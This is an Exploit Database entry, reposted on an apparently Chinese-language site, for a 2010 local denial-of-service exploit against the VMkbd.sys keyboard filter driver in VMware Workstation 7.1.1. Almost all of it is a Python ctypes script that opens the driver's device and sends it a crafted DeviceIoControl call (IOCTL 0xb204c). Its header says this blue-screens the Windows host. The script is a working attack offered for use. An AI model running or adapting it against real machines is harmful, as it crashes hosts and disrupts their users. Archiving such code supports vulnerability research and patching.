VMware Workstation 7.1.1 – ‘VMkbd.sys’ Denial of Service

• Exploit Database
• 8 阅读

• 作者： Lufeng Li
  日期： 2010-09-25
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15103/

• #!/usr/bin/python
  
  #################################################################
  #
  # Title: VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit
  # Author: Lufeng Li of Neusoft Corporation
  # Vendor: www.vmware.com
  # Platform: Windows Vista
  # Tested: VMware Workstation v7.1.1 build-282343
  # Vulnerable: VMware Workstation <= 7.1.1 build-282343
  # Vendor: http://www.vmware.com/
  # Test: Run this Script on host OS will make host OS BSoD
  #
  #################################################################
  
  from ctypes import *
  
  kernel32 = windll.kernel32
  Psapi= windll.Psapi
  
  if __name__ == '__main__':
  GENERIC_READ= 0x80000000
  GENERIC_WRITE = 0x40000000
  OPEN_EXISTING = 0x3
  CREATE_ALWAYS = 0x2
  DEVICE_NAME = "\\\\.\\VMwareKbdFilter"
  
  dwReturn= c_ulong()
  out_size= 1024
  in_size = 1024
  in_data =''
  out_data=''
  driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
  						0, None, CREATE_ALWAYS, 0, None)
  
  dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)